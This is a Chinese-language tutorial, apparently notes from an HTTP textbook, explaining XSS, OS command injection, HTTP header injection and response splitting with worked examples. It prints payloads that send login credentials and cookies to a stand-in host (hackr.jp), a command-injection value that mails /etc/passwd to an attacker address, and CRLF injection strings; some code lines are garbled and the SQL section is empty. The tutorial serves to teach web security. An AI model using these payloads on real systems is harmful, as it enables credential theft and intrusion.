运行非法的HTML标签或JavaScript进行的一种攻击
产生场景😇
在动态生成HTML处发生:🥳
下面以编辑个人信息页面为例讲解跨站脚本攻击。下方界面显示了用户输入的个人信息内容。

确认界面按原样显示在编辑界面输入的字符串。此处输入带有山口一郎这样的HTML标签的字符串。

此时的确认界面上,浏览器会把用户输入的解析成HTML标签,然后显示删除线
利用方法🥸
恶意获取用户等登录信息:🥺
下图网站通过地址栏中URI的查询字段指定ID,即相当于在表单内自动填写字符串的功能。而就在这个地方,隐藏着可执行跨站脚本攻击的漏洞

于是我们构造恶意的URL:
http://example.jp/login?ID="><script>var+f=document=>
.getElementById("login"); +f.action="http://hackr.jp/pwget"; +f.method==>
"get";</script><span+s="
当用户在表单内输入ID和密码之后,就会直接发送到攻击者的网站(也就是hackr.jp),导致个人登录信息被窃取

对用户Cookie的窃取攻击:🥹
为了方便使用,我们直接在hacker服务器上构建一个js文件用于攻击:
<script src=http://hackr.jp/xss.js>script>
该脚本内指定的http://hackr.jp/xss.js文件。即下面这段采用JavaScript编写的代码。
var content = escape(document.cookie);
document.write("
);
document.write(content);
document.write(">");
在存在可跨站脚本攻击安全漏洞的Web应用上执行上面这段JavaScript程序,即可访问到该Web应用所处域名下的Cookie信息。然后这些信息会发送至攻击者的Web网站

SQL注入是攻击者将SQL语句改变成开发者意想不到的形式以达到破坏结构的攻击。
搜索时利用恶意SQL:🤠

通过Web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险
下面以咨询表单的发送功能为例,讲解OS注入攻击。该功能可将用户的咨询邮件按已填写的对方邮箱地址发送过去。

下面摘选处理该表单内容的一部分核心代码。
my $adr = $q->param('mailaddress');
open(MAIL, "¦ /usr/sbin/sendmail $adr");
print MAIL "From: info@example.com\n";
攻击者将下面的值指定作为邮件地址。
; cat /etc/passwd ¦ mail hack@example.jp
程序接收该值,构成以下的命令组合。
¦ /usr/sbin/sendmail ; cat /etc/passwd ¦ mail hack@example.jp
攻击者的输入值中含有分号(;)。这个符号在OS命令中,会被解析为分隔多个执行命令的标记。
可见,sendmail命令执行被分隔后,接下去就会执行cat /etc/passwd| mail hack@example.jp这样的命令了。结果,含有Linux账户信息/etc/passwd的文件,就以邮件形式发送给了hack@example.jp
攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击
如下所示,Web应用有时会把从外部接收到的数值,赋给响应首部字段Location和Set-Cookie。
Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345
*12345就是插入值
HTTP首部注入可能像这样,通过在某些响应首部字段需要处理输出值的地方,插入换行发动攻击。
下面我们以选定某个类别后即可跳转至各类别对应页面的功能为例,讲解HTTP首部注入攻击。该功能为每个类别都设定了一个类别ID值,一旦选定某类别,就会将该ID值反映在响应内的Location首部字段内,形如Location:http://example.com/?cat=101。令浏览器发生重定向跳转。

攻击者以下面的内容替代之前的类别ID后发送请求。
101%0D%0ASet-Cookie:+SID=123456789
其中,%0D%0A代表HTTP报文中的换行符,紧接着的是可强制将攻击者网站的会话ID设置成SID=123456789的Set-Cookie首部字段
HTTP响应截断攻击:🤡
HTTP响应截断攻击是用在HTTP首部注入的一种攻击。攻击顺序相同,但是要将两个%0D%0A%0D%0A并排插入字符串后发送。利用这两个连续的换行就可作出HTTP首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。这样的攻击叫做HTTP响应截断攻击。
%0D%0A%0D%0A<HTML><HEAD><TITLE>之后,想要显示的网页内容